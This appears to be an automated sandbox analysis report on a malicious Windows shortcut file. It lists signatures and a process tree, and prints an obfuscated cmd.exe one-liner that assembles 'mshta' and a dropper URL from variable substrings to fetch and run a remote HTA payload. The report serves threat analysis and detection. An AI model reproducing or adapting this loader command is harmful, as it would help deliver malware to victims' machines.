Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:32

General

  • Target
    DOC-NMCA6W.lnk
  • Size 2KB
  • Sample260804-kfrrmavhmh
  • SHA256 6f9ae09f787f44676a612679507ce6192099e380a7d3dd3e220bfcccd82ac597
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NMCA6W.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set xeB=vmsvf4&&set nrM=gfhl&&set JVy=6tav&&set EHcw=cacheqlfscache&&set QL=datrviavyzgojndbknfzdat&&set xGSx=oldclqevegold&&set YC=syscxxljqsys&&set CY=unysv&&set zDat=4stw&&set MhZd=9art2o&&set TUY=cachebnmuxgimprvmgegjrcache&&set SRVKH=dbgbzclyboonhrkodpltadbg&&set jmLBl=https:/@/ma-pd@f@f@[email protected]@a@t@/h/estagi@o1.@p@h@p?@r=@39146@9F@B@5@D@8@2DB&&start /b !xeB:~1,2!!nrM:~2,1!!JVy:~1,2! !jmLBl:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4100
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3076

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads